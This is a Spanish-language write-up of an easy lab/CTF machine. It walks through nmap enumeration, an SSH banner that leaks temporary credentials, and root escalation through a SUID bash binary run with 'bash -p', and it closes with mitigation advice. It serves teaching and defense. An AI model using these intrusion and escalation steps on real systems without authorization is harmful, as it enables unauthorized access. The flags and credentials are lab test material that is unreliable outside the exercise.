ACME es una máquina muy fácil centrada en dos fallos muy típicos en entornos reales: fuga de credenciales en un banner de bienvenida y una mala configuración de SUID. Nada de cadenas complicadas: todo el recorrido sale de leer con atención lo que el propio sistema nos enseña.

Despliegue

bash — kali@kali:~/acme

sudo bash auto_deploy.sh acme.tar

Estamos desplegando la máquina vulnerable, espere un momento.

Máquina desplegada, su dirección IP es → 172.17.0.2

A partir de aquí, toda la auditoría va contra 172.17.0.2.

Enumeración

Escaneo de puertos

bash — kali@kali:~

sudo nmap -p- -sS -sV --min-rate 5000 -n -Pn --open 172.17.0.2

22/tcp open ssh  OpenSSH 8.9p1 Ubuntu 3ubuntu0.16 (Ubuntu Linux; protocol 2.0)

80/tcp open http  Apache httpd 2.4.52 ((Ubuntu))

Dos puertos abiertos: SSH y un Apache en el 80.

Puerto 80 — portal web

http://172.17.0.2 muestra el ACME Infrastructure Portal, en modo mantenimiento:

ℹ️ Aviso de acceso y administración

El acceso a las consolas de gestión se realiza exclusivamente mediante el servicio SSH. Pruebe a conectarse por SSH con cualquier usuario para consultar el aviso y las notificaciones del sistema con las instrucciones de acceso.

La propia web nos dice por dónde seguir. Vamos a comprobarlo.

Explotación — acceso inicial

Nos conectamos por SSH con un usuario cualquiera, tal y como sugiere el portal. Antes de pedir contraseña, el servidor suelta un banner (MOTD) que filtra credenciales temporales:

bash — kali@kali:~

ssh usuario@172.17.0.2

[*] ACME Corporation - Nodo Bastión de Mantenimiento Interno

[!] AVISO DE SEGURIDAD Y ACCESO:

[!] Portal corporativo en proceso de migración a infraestructura interna.

[!] Credenciales temporales asignadas para tareas de mantenimiento:

[!]  - Usuario: usuario

[!]  - Password: P@ssw0rd2026_CTF!

Con esas credenciales entramos sin problema.

Flag de usuario

bash — usuario@acme:~

whoami

usuario

ls

user.txt

cat user.txt

FLAG{nmap_recon_ssh_foothold_7a9f24e1}

Escalada de privilegios

Primero, lo obvio: probar si la misma contraseña sirve para root (reutilización de credenciales).

bash — usuario@acme:~

su -

Password:

su: Authentication failure

No cuela. Tocaría enumerar en serio. Buscamos binarios con el bit SUID activo:

bash — usuario@acme:~

find / -perm -4000 -ls 2>/dev/null

... chfn, dash, umount, su, passwd, gpasswd, newgrp, chsh, mount, sudo ...

-rwsr-xr-x 1 root root 1396520 ... /usr/bin/bash

Entre los SUID “normales” del sistema aparece uno que no debería estar ahí: /usr/bin/bash tiene el bit SUID activo. Al ejecutarlo con -p (conserva privilegios efectivos), obtenemos una shell con UID efectivo root:

bash — usuario@acme:~

/usr/bin/bash -p

whoami

root

Confirmamos el compromiso total:

bash — root@acme:~

hostname -I; whoami; id

172.17.0.2

root

uid=1000(usuario) gid=1000(usuario) euid=0(root) groups=1000(usuario)

euid=0(root) confirma que, aunque seguimos siendo el usuario 1000 a nivel real, el UID efectivo es root.

Cadena de ataque — resumen

1. Recon web → el portal en mantenimiento sugiere login SSH con cualquier usuario.
2. Fuga de información → el banner de SSH expone usuario y contraseña temporales.
3. Acceso inicial → login SSH con esas credenciales → flag de usuario.
4. Escalada → find / -perm -4000 revela /usr/bin/bash con SUID → bash -p → root.

Mitigación

• No meter credenciales ni avisos internos en banners o MOTD de SSH (/etc/motd, PrintMotd, Banner en sshd_config).
• Auditar binarios SUID (find / -perm -4000) y quitar el bit a cualquiera que no lo necesite — nunca debería estar en bash, sh, python, etc.
• Mínimo privilegio + rotación real de credenciales temporales, no texto plano fijo.

Flag

flag

FLAG{nmap_recon_ssh_foothold_7a9f24e1}